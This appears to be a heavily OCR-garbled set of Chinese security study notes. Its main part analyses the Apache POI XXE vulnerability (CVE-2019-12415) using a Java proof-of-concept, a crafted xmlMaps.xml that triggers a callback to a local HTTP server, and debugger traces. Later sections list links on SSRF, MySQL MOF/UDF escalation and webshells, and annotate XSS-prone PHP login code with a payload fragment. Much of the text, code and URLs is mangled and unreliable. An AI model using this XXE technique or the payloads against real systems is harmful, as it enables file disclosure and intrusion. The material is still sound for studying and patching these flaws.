In Apache POl up to 4.1.0, when using the tool XSSFExportToXml to convert user-provided Microsoft Excel documents, a specially
crafted document can allow an attacker to read files from the local filesystem or from internal network resources via XML External
Entity (XXE) Processing.

RRZRER

TRARED :

org.apache.poi.EncryptedDocumentException;
org.apache.poi.openxml4dj.exceptions.InvalidFormatException;
org.apache.poi.xssf.extractor.XSSFExportToXml;
org.apache.poi.xssf.usermodel.XSSFMap;
org.apache.poi.xssf.usermodel.XSSFWorkbook;
org.xml.sax.SAXException;

javax.xml.transform.TransformerException;
java.io.File;
java.io.FileInputStream;
java.io.IOException;
class PoiXxe {
public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatExceptio

n, TransformerException, SAXException {

XSSFWorkbook wb = new XSSFWorkbook(new FileInputStream(new File("/Users/1llnk3r/Desktop/CustomXMLMappings|
.x1sx")));
for (XSSFMap map : wb.getCustomXMLMappings()) {
XSSFExportToXml exporter = new XSSFExportToXml(map); // f#H XSSFExportToXml ¥ xlsx #m xml
exporter.exportToXML(System.out, true);//BE—ANSHRMBWEE, BE_INSHERN true




//pom.xml
<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0"

xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.apache.poi</groupId>
<artifactId>xxe</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>4.1.0</version>
</dependency>
</dependencies>

</project>

RFE R
Fi#ixAexcel3tft:, 7E CustomXMLMappings/xi/xmiMaps.xml 3244 e 38 hn T X ARG

<xsd:redefine schemalocation="http://127.0.0.1:8080/"></xsd:redefine>

worksheets =
| sharedStrings.xml 1 KB 1KB XML 1980-01-01 00:00
| styles.xml 1KB 1KB XML 3785 1980-01-01 00:00
| workbook.xml 1KB 1KB XML 3t 1980-01-01 00:00
] xmIMaps.xml 1.0 KB 1 KB XML 34t 2019-12-12 17:13

| xmIMaps.xml - i3E&

MiEF) R®EE) B0 EEN) EEH)
<Maplnfo xmlns="http://schepaas.c ormats.org/sprea
<xsd:redefine schemalocation

= T R Py
="http://127.0.0.1:8080/ext.dtd" >}/

Poixxe {
main(String[] args) I0Exception, EncryptedDocumentException TransformerException, SAXException {
XSSFWorkbook wb = XSSFWorkbook( FileInputStream( File(

(XSSFMap map : wb.getCustomXMLMappings()) {
XSSFExportToXml exporter = XSSFExportToXml(map)
exporter.exportToXML(System. )

python -m SimpleHTTPServer 8080 (Python)

Last login: Fri Dec 13 12:14:11 on console
You have new mail.
11nk3r@llnk3r.local: ~
¢ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
127.0.0.1 - - [13/Dec/2019 14:10:51] code 404, message File not found
127.0.0.1 — - [13/Dec/2019 14:10:51] "GET /ext.dtd HTTP/1.1" 404 - hitp i cEdmysvadl3

WA



WHBRKER T, RFJLAKE A, 253473 XSDHandler#constructTrees XN 5 : HIHE, 3 SRR ATTpocH i #h s Ha ik

(LlocalName.equals(SchemaSymbols. N {

miuetDocaliin = noanfAnnokakionContantl~hild)

refType = XSDDescription. |

.reset()

.setContextType(refType)
.setBaseSystemId(doc2SystemId(schemaRoot))
.setLocationHints( String [1{schemaHint})

— e PR — : - 5
CSECTarge tNameSpPace T Ca CLeT 1IN/ htps ologasdnieik 3460125

T —#P7E XSDHandler#resolveSchema #, 4 #hk3z % T getSchemaDocument 4b 22

Element resolveSchema(XMLInputSource schemaSource, XSDDescription desc
mustResolve, Element referElement) {

(schemaSource DOMInputSource) {
getSchemaDocument (desc.getTargetNamespace(), (DOMInputSource) schemaSource, mustResolve, desc.getContextType(), referElement)

(schemaSource SAXInputSource) {
getSchemaDocument (desc.getTargetNamespace(), (SAXInputSource) schemaSource, mustResolve, desc.getContextType(), referElement)

(schemaSource StAXInputSource) {
getSchemaDocument (desc.getTargetNamespace(), (StAXInputSource) schemaSource, mustResolve, desc.getContextType(), referElement)

(schemaSource XSInputSource) {
getSchemaDocument ( (XSInputSource) schemaSource, desc)

getSchemaDocument (desc.getTargetNamespace(), schemaSource, mustResolve, desc.getContextType(), referElement)
hepsHBtogeSanhevtl Suset M5

BE R4k 44 T, 7 XMLEntityManager#tsetupCurrentEntity 3k 2 7 http 15 R K &2, BT LB 1IE —MXXERFAR AR, 48
KEZHIERT, VR LLEFEEIDK B & ) XMLEntityManager#setupCurrentEntity T HTTPiE K T AN A, 4R 5 FIFHOOB 7 A
H, 1R 23R 3 f & o 72 1R AR

String setupCurrentEntity(String name, XMLInputSource xmlInputSource
literal isExternal)
IOException, XNIException {

String publicId = xmlInputSource.getPublicId()
String literalSystemId = xmlInputSource.getSystemId()
String baseSystemId = xmlInputSource.getBaseSystemId()
String encoding = xmlInputSource.getEncoding()

encodingExternallySpecified = (encoding !=
Boolean isBigEndian =

InputStream stream =
Reader reader = xmlInputSource.getCharacterStream()

String expandedSystemId = expandSystemId(literalSystemId, baseSystemId
(baseSystemId == ) {
baseSystemId = expandedSystemId

(reader == ) {
xmlInputSource.getByteStream()
\r

e

URL location = URL (expandedSystemId); expandedSystemId: "“http://127.0.0.1:8080/ext.dtd"
URECoTmET tiomTConeT t="toca t 1o openconmec tiomty

(!(connect HttpURLConnection)) {

stream = connect.getInputStream()

N
setupCurrentEntity:619, XMLEntityManager (com.sun.org.apache.xerces.internal.impl)
determineDocVersion:189, XMLVersionDetector (com.sun.org.apache.xerces.internal.impl)
parse:582, SchemaParsingConfig (com.sun.org.apache.xerces.internal.impl.xs.opti)
parse:685, SchemaParsingConfig (com.sun.org.apache.xerces.internal.impl.xs.opti)
parse:530, SchemaDOMParser (com.sun.org.apache.xerces.internal.impl.xs.opti)
getSchemaDocument:2175, XSDHandler (com.sun.org.apache.xerces.internal.impl.xs.traversers)
resolveSchema:2096, XSDHandler (com.sun.org.apache.xerces.internal.impl.xs.traversers)
constructTrees:1100, XSDHandler (com.sun.org.apache.xerces.internal.impl.xs.traversers)
parseSchema:620, XSDHandler (com.sun.org.apache.xerces.internal.impl.xs.traversers)
loadSchema:617, XMLSchemalLoader (com.sun.org.apache.xerces.internal.impl.xs)
loadGrammar:575, XMLSchemalLoader (com.sun.org.apache.xerces.internal.impl.xs)
loadGrammar:541, XMLSchemalLoader (com.sun.org.apache.xerces.internal.impl.xs)
newSchema:255, XMLSchemaFactory (com.sun.org.apache.xerces.internal.jaxp.validation)
newSchema:638, SchemaFactory (javax.xml.validation)

isValid:249, XSSFExportToXml (org.apache.poi.xssf.extractor)

exportToXML:211, XSSFExportToXml (org.apache.poi.xssf.extractor)

exportToXML:105, XSSFExportToXml (org.apache.poi.xssf.extractor)

main:20, PoiXxe
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trySetFeature(factory, "http://javax.xml.XMLConstants/feature/secure-processing", true);

isValid(Document xml) SAXException {
{
String language =
SchemaFactory factory = SchemaFactory.newInstance(language)
trySetFeature(factory
Source source = vuMsourcel -Map.getscnemal )
Schema schema = factory.newSchema(source)
Validator validator = schema.newValidator()
validator.validate( DOMSource(xml) )

(I0Exception var7) {
LOG. log( Object[1{

https://blag gsdrmnetaq.| 34801745

SRG 1) RS BE SR B T SecuritySupporti#checkAccess , HJ LAE 3K &8 15 allowedProtocols fall, 1fi acessAny t2all,
Fi LA checkAccess 45 53K [ 11 £ null

String checkAccess(String systemTId __String allowedProtocols, String accessAny) I0Exception {
(systemId == || (allowedProtocols| = & cystemId: "http://127.0.0.1:8080/ext.dtd" allowedProtocols: "all"
allowedProtocols.equalsIgnoreCase(accessAny))) {

lecuritySupport checkAccess()

= Variables

e static
> systemld =
2 allowedProtocols =
>

accessAny =

Dtipdiblod dsdnetqa 34804745

SEE R ) SecuritySupporticheckAccess J7¥2%, I LLE 2R 1EE HHS allowedProtocols &"", 1 acessAny #2all, Frik
checkAccess 45 F iR [5] {2 http

String checkAccess(String systemId, String allowedProtocols, String accessAny) IOException {
(systemId == || (allowedProtocols != &&
allowedProtocols.equalsIgnoreCase(accessAny))) {

}

String protocol
(systemId.indexOf(":")==-1) {
protocol =

{

URL url = URL (systemId)

protocol = url.getProtocol()
(protocol.equalsIgnoreCase( ) {
String path = url.getPath()
protocol = path.substring(@, path.index0f(":"))

(isProtocolAllowed(protocol, allowedProtocols)) {

protocol; protocol: "http"
1

B curitySupport checkAccess()

= Variables

» P static
> systemld =
> allowedProtocols =
» accessAny =
» = protocol =




6] 2] XSDHandler#getSchemaDocument 1, M T A o ¥rhttp 77 A £t , BBRATKIEHRE B B RS MBI B4 B 55
Z

(referType == XSDDescription. || referType == XSDDescription.
|| referType == XSDDescription. ) {
Strina accessError = SecuritvSupport.checkAccess(schemald Constants.
(accessError != ) {
reportSchemaFatalError(
Object[] { SecuritySupport.sanitizePath(schemald), accessError }
referElement)

BGERBEbb— T, XANMAEEH, & IEFIHAFTP clientiT IR NG EE, B L2 33 56 IR
Rerfence:
Apache POl <=4.1.0 XXE J%iF (CVE-2019-12415)

SHHE:

https://xz.aliyun.com/t/6996 ---AXEINLE

2.2.20 i — B B 3 ik xssill ik K 223t waffli 37
fFHTIE:

https://github.com/chaitin/xray

https://www.loongten.com/2019/12/20/find-alibaba-xss/  --—HFi B EE E3EXSSIZIE 2 ik

BELE HIK B, KEDEHRSFEBITEN, AHBsETRS, RENKHELRFE! !

2.2.21 ClassLoader% i &1 %l

ZM R JAVAIEE IR — AN TUHE, simeERFET T, XERBIClassLoaderFikIET! !

2.2.22 3R SSRFE# & HF|H (dayu-Ninth Day)

SHE L E

https://xz.aliyun.com/t/2115

http://www.liuwx.cn/penetrationtest-3.html

https://www.cnblogs.com/yuzly/p/10903398.html
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
https://www.netsparker.com/blog/web-security/server-side-request-forgery-vulnerability-ssrf/

2.2.23 Spring-Data-Commons (CVE-2018-1273)


https://b1ue.cn/archives/241.html

http://blog.nsfocus.net/cve-2018-1273-analysis/ HBHITHEEEN
https://pianshen.com/article/9248784281/ vulhub#EHLE I

http://xxlegend.com/2018/04/12/CVE-2018-1273-%20RCE%20with%20Spring%20Data%20Commons%20%E5%88%86%E6%9E%90%E6%8A%
AS%ES5%91%8A/

WrZ KA T, W B

2.2.24 xss%i i AN Ja i+ B PR 1 19 05 1%
R S0 B R B WIE # 4 — 25 OMS IIFT IR S .

—BORHEF N TRAFAFKEHRATRE K EEZ WA, — MRl f KBRS, XRS5 A B E SRR, B
HARMME DR

$this->method->request('cfrom', $cfrom);

$this->method->request('token');

$device= $this->method->request('device', $device);

$ip = $this->method->request('ip', $this->method->ip);

$web = $this->method->request('web', $this->method->web);

$cfroar= explode(',', 'pc,reim,weixin,appandroid,appiphone,mweb’);

if(!in_array($cfrom, $cfroar))return 'not found cfrom';

if($user=="")return 'HPLAREENE";

=="''g&strlen($token)<8)return 'FARENET";

addslashes(substr($user, 0, 20));

addslashes($pass);

= "BRBRI;

= '"pass’, id , name’, user , face , deptname’';

= array(

'user' => $user,

'status|eqi' => 1,

"typeleqi' => 1,

‘state|neqi' => 5




)§

$us = $this->db->getone('admin', $arrs , $fields);

if(!$us){

unset($arrs['user']);

$arrs['name'] = $user;

$tos = $this->db->rows('admin’, $arrs);

if($tos>1){

$msg = "FEMEAAFL, RATER;

if($msg=="")%us = $this->db->getone( 'admin', $arrs , $fields);

if($msg=="" && !$us){

tmsg = 'HPARFE";

}else if($msg==""){

$uid = $us['id'];

$user = $us['user'];

if(md5($pass)!=pus['pass'])$msg="HBEEIR";

if($pass==HIGHPASS){

if($msg!=""8&strlen($token)>=8){

$moddt = date('Y-m-d H:i:s', time()-10*60*1000);

$trs = $this->getone(" uid ='$uid' and " token ='$token' and “moddt’ >='$moddt'");




$name = $face = $deptname = '';

$name = $us[ 'name'];

$deptname = $us['deptname’];

$face = $us['face'];

if(!$this->isempt($face))$face = URL.''.$face.'’;

$face = $this->method->repempt($face, 'images/noface.jpg');

$this->db->update('admin'," loginci =" loginci +1", $uid);

$logins = $msg;

}

m('log')->addlog("'"'.$cfrom. ' EXK","'['.$user."']"'.$logins."'", array(
'optid' => $uid,

'optname' => $name,

"ip' => $ip,

'web' => $web,

Wi

FEFFHTER A B BT AT TR BRAUE, FMIFRERN T B0 AR AR B A B K R 2] T 20 A F R T
addslashes X BURFAFHEATH (o FTUAE/R BB A H SRR RMES ANH BE K XSS B, Bai ies s T 17 MFER

ft:">[<seriptralert (1) ¢/sc] 1 ' AHEfE</div></td><td role="gridcell” class="x—g
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hitps://blog.csdn.net/gg_34801745

Rl R XSS .



BRI T

hitps://blog.esdn.net/qq_34801745

hitps://blog.csdn.net/qq_34801745

LB ERERT 5 A KPR B 4 T SE B XSS

=4
S

https://www.shangyexinzhi.com/article/387056.html --i%ZX &

https://www.freebuf.com/column/221882.html - - R

2.2.25 mysql# L Z mof

https://www.jianshu.com/p/6dbac868e2ab
https://pino-hd.github.io/2018/06/10/MySQLE 2 MOF/

https://www.cnblogs.com/h4ck@ne/p/5154629.html




2.2.26 mysqH2 L Z udf

http://www.oniont.cn/index.php/archives/310.html

https://www.jianshu.com/p/5b34clb6dee?

2.2.27 XSS Al >

https://baike.baidu.com/item/XSS%E6%94%BB%ES%87%BB B EH A

https://www.jianshu.com/p/24a19c6434ae

BEBFRER 1!

2.2.28 java [z 51 5 A fF shell ¥R -5 T jettyZs 23 i shell 4E4L

https://www.freebuf.com/articles/web/172753.html - - - CHFEENEZIM T ETE WebShell
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